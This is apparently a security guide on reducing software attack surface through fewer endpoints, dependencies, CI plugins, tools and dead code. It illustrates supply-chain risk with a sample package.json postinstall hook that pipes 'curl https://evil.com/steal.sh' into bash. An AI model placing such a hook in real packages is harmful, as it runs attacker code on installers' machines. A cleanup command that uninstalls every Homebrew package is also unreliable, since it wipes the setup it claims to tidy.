Back to Home

Back to Index

“Every line of code is an attack surface — whether you wrote it or not.”

Software ASR focuses on the architecture, code, build tooling, and developer workflows that determine what your system consists of. From bloated frameworks to unnecessary microservices to development tools with excessive permissions — software surface is often the largest and least controlled.

This isn’t about writing less code for its own sake. It’s about being deliberate with every dependency, every feature, every API endpoint, and every tool in your development pipeline.


1. Minimize Features, APIs, and Endpoints

Every API endpoint, every feature flag, every admin interface is a potential attack vector. The more you expose, the more you have to secure, test, and maintain.

Only Expose Interfaces You’re Committed to Maintain

The problem: Teams ship features quickly, then forget about them. Unused endpoints accumulate like technical debt, but with security implications.

Discovery process:

# Find API endpoints with zero traffic
# (Requires access logs analysis)

# Example with nginx logs
cat access.log | awk '{print $7}' | sort | uniq -c | sort -rn | tail -100

# Or with application metrics
# Check your APM tool (Datadog, New Relic) for endpoints with:
# - Zero requests in 90 days
# - High error rates (broken, unmaintained)
# - No test coverage

Decision framework:

For each API endpoint, ask:

1. **Is it documented?** If not, who uses it?
2. **Is it tested?** If not, does it even work?
3. **When was it last called?** If >90 days, candidate for removal
4. **What data does it expose?** Is that necessary?
5. **Who can call it?** Public, authenticated, admin only?
6. **What's the business value?** Can't articulate = candidate for removal

Avoid Debug/Experimental Endpoints in Production

Anti-pattern: Leaving debug endpoints in production builds

Common examples:

  • /debug/vars - Exposes internal metrics
  • /admin - Without authentication
  • /__debug__/ - Django debug toolbar
  • /api/v2-beta/ - Experimental API still accessible
  • /health?debug=true - Verbose health checks revealing internal state

Prevention: Build-time feature flags

// Go example: Compile-time flag to remove debug code
// +build !production

package debug

func ExposeInternalMetrics() {
    // This entire function is not compiled in production builds
}

// Build commands:
// Development: go build
// Production: go build -tags production
# Python example: Environment-based endpoint disabling
from flask import Flask, jsonify
import os

app = Flask(__name__)

@app.route('/debug/state')
def debug_state():
    if os.getenv('ENVIRONMENT') == 'production':
        return jsonify({"error": "Not found"}), 404
    
    # Only works in dev/staging
    return jsonify(internal_state)

Use Feature Flags Responsibly

The problem: Feature flags accumulate and become permanent, creating code rot and security confusion.

Best practices:

// Document expiry date in flag definition
const featureFlags = {
  newCheckoutFlow: {
    enabled: true,
    createdDate: '2024-01-15',
    expiryDate: '2024-03-15',  // Must be removed by this date
    owner: 'checkout-team',
    jira: 'PROJ-1234'
  }
}

// Automated cleanup check
function checkExpiredFlags() {
  const now = new Date();
  Object.entries(featureFlags).forEach(([name, config]) => {
    if (new Date(config.expiryDate) < now) {
      throw new Error(`Feature flag '${name}' expired on ${config.expiryDate} - remove it!`);
    }
  });
}

Flag cleanup process:

# Monthly audit: Find old feature flags
grep -r "feature_flag\|featureFlag" src/ | \
  grep -E "20(20|21|22)" | \  # Find flags from old years
  sort | uniq

# Each should be either:
# 1. Removed (flag and code)
# 2. Made permanent (remove flag, keep code)
# 3. Justified (documented reason for keeping)

Real-World Impact

The 2019 Capital One breach occurred partly because a misconfigured web application firewall exposed an admin endpoint that shouldn’t have been accessible. This endpoint allowed SSRF attacks against the metadata service.

The The Equifax breach exploited an unpatched Apache Struts vulnerability in a web application. Multiple endpoints were vulnerable, many of which were legacy code no longer actively maintained.

Further reading:


2. Internal Reuse Over External Dependence

Modern software development has become an exercise in dependency management. The average web application has hundreds of dependencies, most of which you’ve never audited.

Prefer Internal Libraries You Can Control

The trade-off:

  • External dependency: Fast to add, but you don’t control updates, security patches, or maintainer behavior
  • Internal code: More upfront work, but you own the security posture and understand it completely

When to write your own:

  • Simple utilities (date formatting, string manipulation)
  • Core business logic that differentiates your product
  • Security-critical code (authentication, authorization)
  • High-risk operations (payment processing, encryption)

When to use external:

  • Complex, well-established standards (TLS, OAuth, JWT parsing)
  • Mature, widely-audited libraries (cryptography libraries)
  • Infrastructure code (database drivers, network protocols)

Example decision:

# DON'T DO THIS - tiny dependency for simple task
import leftpad  # 11 lines of code as an npm package

def format_user_name(name):
    return leftpad(name, 20)

# DO THIS - write the 2 lines yourself
def format_user_name(name):
    return name.ljust(20)

Minimize Dependencies With Low Stars, Single Maintainers, Long Chains

Red flags when evaluating dependencies:

Risk Factor Why It Matters How to Check
Low stars/downloads Small user base = less scrutiny GitHub stars, npm downloads/week
Single maintainer Bus factor of 1, burnout risk Check GitHub contributors
No recent commits Abandonware, no security patches Last commit date
Long dependency chain Transitive risk multiplies npm ls, pip show --verbose
Numerous dependencies More attack surface Check package.json / requirements.txt

Audit your dependencies:

# npm: Check for suspicious packages
npm audit

# Find packages with single maintainer
npm view <package> maintainers

# Check dependency tree depth
npm ls --depth=5

# Python: Check dependencies
pip list --outdated
pipdeptree  # Visualize dependency tree

# Ruby
bundle audit check --update

# Go
go list -m all

Supply chain attack examples:

event-stream incident (2018):

  • Popular npm package (2M downloads/week)
  • Maintainer handed over to malicious actor
  • Malicious code injected targeting cryptocurrency wallets
  • Affected thousands of projects

colors.js and faker.js (2022):

  • Maintainer intentionally sabotaged own packages
  • Infinite loop added, printing gibberish
  • Broke thousands of projects worldwide

ua-parser-js (2021):

  • Compromised npm package
  • Malicious code mined cryptocurrency
  • Installed malware on Linux and Windows

Don’t Use Full Frameworks for Single Tasks

Anti-pattern: Using heavyweight frameworks for simple tasks

// BAD: Pulling in 50MB of dependencies for 3 endpoints
const express = require('express');
const bodyParser = require('body-parser');
const helmet = require('helmet');
const morgan = require('morgan');
const compression = require('compression');
const cors = require('cors');
// ... 20 more middleware packages

const app = express();
// Just to handle 3 API endpoints

// BETTER: Use standard library
const http = require('http');

const server = http.createServer((req, res) => {
  if (req.method === 'GET' && req.url === '/health') {
    res.writeHead(200, {'Content-Type': 'application/json'});
    res.end(JSON.stringify({status: 'ok'}));
  }
  // Handle your 3 endpoints
});

server.listen(8080);
// Zero dependencies, clear code, minimal attack surface

Framework size comparison:

# Check actual installed size
du -sh node_modules/

# Example results:
express + middleware: 45MB, 312 packages
fastify: 12MB, 52 packages
standard library: 0MB, 0 packages

Decision matrix:

Scenario Recommendation
100+ endpoints, complex routing Full framework acceptable
5-10 simple endpoints Lightweight framework or standard library
1-3 endpoints, simple logic Standard library only
CLI tool Standard library only
Static site generator Minimal, focused tool (Hugo, 11ty) not (Gatsby, Next.js)

Real-World Impact

The SolarWinds supply chain attack compromised build processes, allowing malicious code to be inserted into legitimate updates. This affected 18,000+ customers including government agencies.

Research by Sonatype shows one in eight open source downloads contains a known security vulnerability.

Further reading:


3. Shrink Your Build and Toolchain

Your build pipeline and development environment are part of your attack surface. Compromise of build systems can inject malicious code into your product.

CI/CD Shouldn’t Pull 30 Plugins for a Static Site

The problem: CI/CD configuration files accumulate actions, plugins, and integrations that are never removed.

Bad example (over-engineered):

# .github/workflows/deploy.yml - BLOATED
name: Deploy
on: [push]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
      - uses: actions/cache@v3
      - uses: some-random-action/do-thing@v1
      - uses: another-action/slack-notify@master  # Untrusted
      - uses: third-action/discord-webhook@v2
      - uses: security-scanner/scan@v1
      - uses: uploader/codecov@v2
      - uses: performance/lighthouse@v3
      - uses: seo/checker@v1
      # ... 20 more actions
      - run: npm run build
      - uses: deployment/action@v1

Good example (minimal):

# .github/workflows/deploy.yml - MINIMAL
name: Deploy
on: [push]

permissions:
  contents: read
  id-token: write  # For OIDC

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      # Build
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm run build
      
      # Deploy with OIDC (no secrets)
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
          aws-region: us-east-1
      
      - run: aws s3 sync ./dist s3://my-bucket/

Reduce Developer Environment Complexity

The problem: Developer machines accumulate tools, CLIs, and helpers that run with full privileges.

Audit your machine:

# macOS: Check what's installed
brew list | wc -l
# Do you know what all these do?

# Check what's running
ps aux | grep -v "^USER" | wc -l
# Should be <100, not >500

# Check what's listening on ports
lsof -iTCP -sTCP:LISTEN -n -P
# Recognize all of these?

# Linux: Check installed packages
dpkg -l | wc -l  # Debian/Ubuntu
rpm -qa | wc -l  # RedHat/CentOS

# Check systemd services
systemctl list-units --type=service --state=running

Cleanup strategy:

# Remove unused tools
# macOS
brew list | xargs brew uninstall

# Then reinstall ONLY what you actually use
brew install git node python3

# Linux
apt list --installed | grep dev
# Review and remove

Use containers for isolation:

# Instead of installing every tool globally
# Use containers for project-specific tools

# Before:
npm install -g webpack webpack-cli babel eslint prettier
pip3 install ansible terraform-compliance
gem install jekyll bundler
# (Now have 50+ global packages)

# After:
docker run --rm -v "$PWD:/app" node:20 npm run build
docker run --rm -v "$PWD:/app" python:3.11 python script.py
# (Clean host system, isolated dependencies)

Avoid Tools That Require Elevated Access

Red flags:

  • Tools that ask for sudo during install
  • Kernel modules or drivers
  • Tools that want to run as services
  • Browser extensions with “read and modify all data” permission

Examples of risky tools:

Tool Risk Alternative
Docker Desktop Requires privileged access Podman (rootless)
Global npm packages Can execute arbitrary code on install npx (on-demand execution)
System-wide Python packages Conflict with system Python venv or pyenv
IDE with excessive permissions Can access all files Sandboxed editors

Better practices:

# Instead of global npm installs
npm install -g something  # NO

# Use npx for one-time execution
npx something  # YES

# Or install locally
npm install --save-dev something
npx something  # Runs local version

# Python: Always use virtual environments
python3 -m venv venv
source venv/bin/activate
pip install package  # Isolated

# Don't:
sudo pip3 install package  # Modifies system Python

CI/CD Plugin Security

Verify sources before use:

# GitHub Actions: Only use verified actions
- uses: actions/checkout@v4  # Verified creator
- uses: aws-actions/configure-aws-credentials@v4  # Official AWS

# Avoid:
- uses: random-user/unverified-action@master  # Untrusted
- uses: totally-not-malware/helper@v1  # No verification

# Pin to specific commits (not tags, which can be moved)
- uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab  # v4.1.1

GitLab CI security:

# BAD: Running random Docker images
deploy:
  image: randomuser/deploy-tool:latest
  script:
    - ./deploy.sh

# GOOD: Use official images, pin versions
deploy:
  image: alpine:3.19.0  # Official, pinned
  script:
    - apk add --no-cache curl
    - ./deploy.sh

Real-World Impact

The Codecov breach (2021) modified Codecov’s bash uploader script (used in thousands of CI/CD pipelines) to exfiltrate environment variables containing secrets.

The SolarWinds attack compromised build systems by injecting malicious code during the build process.

Further reading:


4. Limit Codebase Blast Radius

How your code is organized determines how far a vulnerability can spread. A monolithic codebase with no internal boundaries means any compromise affects everything.

Avoid Global Shared Modules

The problem: Shared utility modules become dumping grounds for common code, creating tight coupling and wide blast radius.

Anti-pattern:

# utils.py - 5000 lines of everything
def format_date(date): ...
def send_email(to, subject, body): ...
def encrypt_password(password): ...
def charge_credit_card(card, amount): ...
def execute_sql(query): ...
def admin_override_check(user): ...
# Every module imports this

Problem: Vulnerability in any function affects all modules using utils.

Better approach: Focused modules with clear boundaries

# date_utils.py
def format_date(date): ...

# email_service.py
def send_email(to, subject, body): ...

# auth_module.py
def encrypt_password(password): ...
def verify_password(password, hash): ...

# payment_module.py
def charge_credit_card(card, amount): ...

# Each module imports only what it needs

Segment by Trust Boundaries

Principle: Organize code by security requirements, not just features.

Example architecture:

src/
├── public/          # Unauthenticated endpoints
│   ├── login.js
│   ├── register.js
│   └── health.js
│
├── authenticated/   # Requires valid user session
│   ├── profile.js
│   ├── dashboard.js
│   └── settings.js
│
├── admin/           # Requires admin role
│   ├── user_management.js
│   ├── system_config.js
│   └── audit_logs.js
│
└── internal/        # Server-side only, never exposed
    ├── payment_processing.js
    ├── encryption.js
    └── database_access.js

Enforce boundaries:

// In public/ code, this should fail linting:
import { processPayment } from '../internal/payment_processing';  // ❌ FORBIDDEN

// Use API boundaries instead:
fetch('/api/internal/process-payment', {  // ✅ Goes through auth layer
  method: 'POST',
  headers: { 'Authorization': token },
  body: JSON.stringify(paymentData)
});

Linting rules:

// .eslintrc.js
module.exports = {
  rules: {
    'no-restricted-imports': ['error', {
      patterns: [{
        group: ['../internal/*', '../../internal/*'],
        message: 'Cannot import internal modules from public code'
      }]
    }]
  }
};

Kill Dead Code

The problem: Old features, retired APIs, and unused functions stay in the codebase “just in case.”

Finding dead code:

# JavaScript: Use webpack bundle analyzer
npx webpack-bundle-analyzer stats.json

# Python: Use vulture
pip install vulture
vulture .

# Go: Use deadcode
go install golang.org/x/tools/cmd/deadcode@latest
deadcode ./...

# Find files not modified in 2+ years
find src/ -type f -mtime +730 -ls
# Ask: Is this still used?

Coverage-based approach:

# Run tests with coverage
npm test -- --coverage
pytest --cov=src --cov-report=html

# Files with 0% coverage are candidates for removal
# (If they're not tested, they're probably not used)

Progressive deletion:

// Step 1: Deprecate (add warning)
/**
 * @deprecated Use newFunction() instead. Will be removed in v3.0
 */
function oldFunction() {
  console.warn('oldFunction is deprecated');
  return newFunction();
}

// Step 2: Monitor for usage
// (Check logs for deprecation warnings)

// Step 3: Remove after grace period
// git rm old_module.js

Real-World Impact

The Apache Struts vulnerability (CVE-2017-5638) that led to the Equifax breach existed in a file upload feature. Many organizations using Struts didn’t even use that feature, but were vulnerable because the code was present.

Further reading:


5. Hardening Through Simplicity

Complex code is hard to review, hard to test, and hard to secure. Simplicity isn’t just elegant — it’s a security feature.

Simpler Code Is Easier to Review and Secure

Complex code example:

# Hard to review - what does this actually do?
def process(data):
    return [x for sublist in [[y for y in filter(lambda z: z%2==0, 
            map(lambda a: a**2, range(item)))] for item in data] 
            for x in sublist if x > 10]

Simple equivalent:

# Easy to review - clear logic
def process(data):
    results = []
    for item in data:
        for number in range(item):
            squared = number ** 2
            if squared % 2 == 0 and squared > 10:
                results.append(squared)
    return results

Security review is faster on simple code. Complex one-liners hide bugs.

Prefer Boring Tools

The “boring technology” principle: Use mature, well-understood tools over cutting-edge frameworks.

Boring (good):

  • PostgreSQL (since 1996)
  • Nginx (since 2004)
  • Redis (since 2009)
  • Flask/Express (simple, focused)

Exciting (risky):

  • New database that “solves everything”
  • Framework on version 0.3.1
  • “Revolutionary” build tool with 3 contributors
  • Trendy architecture pattern from last week’s HackerNews

Trade-off analysis:

Criteria Boring Tech Shiny New Tech
Security track record Decades of patches Unknown vulnerabilities
Documentation Extensive Sparse, outdated
Community Large, experienced Small, learning
Hiring Easy to find experts Training required
Long-term support Guaranteed Might be abandoned

Avoid DSLs or Custom Runtimes

The problem: Domain-Specific Languages and custom runtimes add complexity and obscure what’s actually happening.

Example: Custom templating language

// Custom DSL - hard to audit
{{user.name | uppercase | truncate:20}}
{{if user.isAdmin}}
  {{include "admin-panel" with user}}
{{/if}}

// What does this actually execute?
// Can it escape the sandbox?
// Can user.isAdmin be manipulated?

Better: Use standard languages with explicit code

// Standard JavaScript - clear and auditable
const displayName = user.name.toUpperCase().substring(0, 20);

if (user.isAdmin === true) {  // Explicit boolean check
  renderAdminPanel(user);
}

When DSLs are acceptable:

  • Well-established standards (SQL, HTML/CSS, Regex)
  • Security-focused (Content Security Policy syntax)
  • Widely audited (Jinja2, ERB templates)

When to avoid:

  • Custom-built for one project
  • Turing-complete templating
  • Allows arbitrary code execution
  • No security audit history

Real-World Impact

The Ruby on Rails mass assignment vulnerability was exacerbated by “magic” framework behavior that made it hard to understand what parameters were being accepted.

Further reading:


6. Third-Party Code and Tooling Integration (Deep Dive)

This section expands on the risks of integrating external code and tools, covering modern supply chain attack vectors.

Open Source Dependency Discipline

The current state: The average web application has 700+ dependencies (including transitive ones). You’ve audited maybe 5.

Audit process:

# Generate full dependency tree
npm ls --all > dependencies.txt
pip list --format=freeze > dependencies.txt

# Check for known vulnerabilities
npm audit
pip-audit
cargo audit  # Rust
bundle audit # Ruby

# Check license compliance (legal risk)
npx license-checker --summary

# Generate Software Bill of Materials (SBOM)
syft dir:. -o spdx-json > sbom.json

Dependency review checklist:

Check Command/Tool Action
Known CVEs npm audit, snyk test Update or remove
Last update npm outdated Flag packages abandoned >2 years
Number of maintainers npm view <pkg> maintainers Avoid single-maintainer critical deps
GitHub stars/forks Manual check Low stars + critical = risky
Download count npmjs.com, pypi.org Very low = less vetted
License compatibility license-checker Avoid GPL in proprietary code

Automated dependency management:

# Dependabot config (.github/dependabot.yml)
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 5
    # Auto-merge patch updates only
    automerged_updates:
      - match:
          dependency_type: "all"
          update_type: "semver:patch"

CI/CD Plugin & Marketplace Risk

The problem: GitHub Actions marketplace has 10,000+ actions. GitLab, Jenkins, CircleCI have similar plugin ecosystems. Most are unaudited.

Vetting process for CI/CD actions:

## Before Using Any CI/CD Action

1. **Check the source**
   - Is it from a verified creator? (GitHub verified badge)
   - Is it officially maintained? (actions/* for GitHub)
   - What's the source repository?

2. **Review the code**
   - Clone the repo: `git clone <action-repo>`
   - Read the actual code (action.yml, main.js)
   - What permissions does it request?
   - What commands does it run?

3. **Check activity**
   - Last commit date (>1 year = potentially abandoned)
   - Open issues (security issues unresolved?)
   - Download/usage stats

4. **Pin to commit SHA**
   - NOT: `uses: user/action@v1` (tag can be moved)
   - YES: `uses: user/action@1234abcd` (immutable)

Example vulnerability scan:

# Audit your workflow files
# Check for unpinned, unverified actions

name: Audit Workflows
on: [push]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Check for unpinned actions
        run: |
          # Find actions not pinned to SHA
          grep -r "uses:" .github/workflows/ | \
            grep -v "@[0-9a-f]\{40\}" | \
            grep -v "@v[0-9]" || true
          
          # Flag for review

Build Tools and Install Scripts

The problem: npm install, pip install, and similar commands run arbitrary code during installation via post-install hooks.

Example malicious package:

// package.json
{
  "name": "totally-safe-package",
  "scripts": {
    "postinstall": "curl https://evil.com/steal.sh | bash"
  }
}

When someone runs npm install, this executes automatically.

Defense strategies:

# npm: Ignore scripts during install
npm install --ignore-scripts

# Then selectively run scripts for trusted packages
npm rebuild <trusted-package>

# Python: Use --no-binary to avoid precompiled wheels
pip install --no-binary :all: <package>

# Or use restricted installation
pip install --require-hashes -r requirements.txt

Lockfile integrity:

# Always commit lockfiles
git add package-lock.json  # npm
git add yarn.lock          # yarn
git add Pipfile.lock       # Python
git add Cargo.lock         # Rust

# Verify lockfile hasn't been tampered with
npm ci  # Installs from lockfile only, fails if mismatch

Signed binaries preference:

# Instead of curl | bash:
curl -sL https://tool.com/install.sh | bash  # ❌ NO

# Download, verify signature, then execute:
curl -sLO https://tool.com/binary
curl -sLO https://tool.com/binary.sig
gpg --verify binary.sig binary  # ✅ Verify
chmod +x binary
./binary

Browser Extensions & IDE Plugins

Developer tool risks:

Browser extensions can:

  • Read all page content (including credentials)
  • Modify page content (inject malicious code)
  • Intercept network requests
  • Access cookies and local storage
  • Monitor clipboard

IDE plugins can:

  • Read all code in your workspace
  • Execute arbitrary commands
  • Modify files
  • Send data to external servers
  • Install additional components

Mitigation strategies:

## Browser Extension Policy

1. **Separate profiles**
   - Personal: Any extensions
   - Work: Only approved, audited extensions

2. **Minimal extensions**
   - Only install what you actually use daily
   - Review permissions before installing
   - Audit installed extensions quarterly

3. **Avoid risky patterns**
   - Extension asks for "all sites" permission
   - Extension from unknown developer
   - Extension with low reviews
   - Extension that updates very frequently (why?)

## IDE Plugin Policy

1. **Vet before install**
   - Check download count
   - Read reviews
   - Review source if available
   - Check what permissions it requests

2. **Prefer official**
   - Use official language plugins
   - Avoid "helper" plugins for simple tasks
   - Question plugins that "make everything easier"

3. **Audit installed**
   - VS Code: Check `~/.vscode/extensions`
   - IntelliJ: Check installed plugins list
   - Remove unused plugins

Example audit:

# List VS Code extensions
code --list-extensions

# For each extension, check:
# 1. When did you install it?
# 2. Have you used it in the last month?
# 3. What permissions does it have?

# Uninstall unused
code --uninstall-extension <extension-id>

Real-World Incidents

npm package compromises:

  • event-stream (2018): Malicious code injected to steal Bitcoin wallet keys
  • ua-parser-js (2021): Compromised to install cryptocurrency miners
  • colors.js (2022): Maintainer intentionally sabotaged with infinite loop

Browser extension attacks:

  • Chrome extension malware (2020): 111 extensions caught stealing data
  • Browser Security Inspector (2021): Posed as security tool, stole credentials

IDE plugin risks:

  • VS Code extension attack (2021): Malicious extensions uploaded mimicking popular ones
  • IntelliJ plugin vulnerability (2022): Remote code execution in plugin framework

Further reading:


7. Guidelines for Software ASR

Code & Build Issue ASR Practice Implementation
Over-featured APIs Disable or remove unused endpoints Traffic analysis; feature flag cleanup; endpoint audit
Framework bloat Strip unused modules, reduce dependencies Minimal base images; tree shaking; dependency audit
CI plugin sprawl Pin versions, remove unused, self-host when possible Commit SHA pinning; quarterly review; minimize actions
Complex dev tools Use fewer, vetted, non-root-requiring tools Container-based tools; avoid global installs
Shared code risks Split monoliths by trust zone, not just function Enforce module boundaries; linting rules
Dead code Archive or delete it. Don’t ship it. Coverage analysis; vulture/deadcode; aggressive pruning
Supply chain risk Audit dependencies, use SBOMs, pin versions npm audit; Dependabot; lockfile commits

8. Final Thought

“You’re not shipping a product. You’re shipping every tool, library, and helper that touched it.”

Software ASR isn’t about coding less — it’s about building only what you’re willing to own, maintain, and defend.

The Software ASR mindset:

  1. Before adding a dependency: Can I write this in 50 lines instead?
  2. Before adding a feature: Do users actually want this, or is it speculative?
  3. Before adding an API endpoint: Can existing endpoints handle this use case?
  4. Before keeping code: Has anyone used this in 6 months?

Start tomorrow:

  1. Run npm audit or equivalent — fix or remove vulnerable dependencies
  2. Find your oldest feature flag — remove it or make it permanent
  3. List your CI/CD plugins — remove anything you can’t justify
  4. Count your API endpoints — target removing 20%

Every dependency removed is a supply chain attack prevented.
Every endpoint removed is an attack vector eliminated.
Every tool removed from your environment is a privilege escalation path closed.

Less code. Less complexity. Less attack surface. More security.

That’s Software ASR.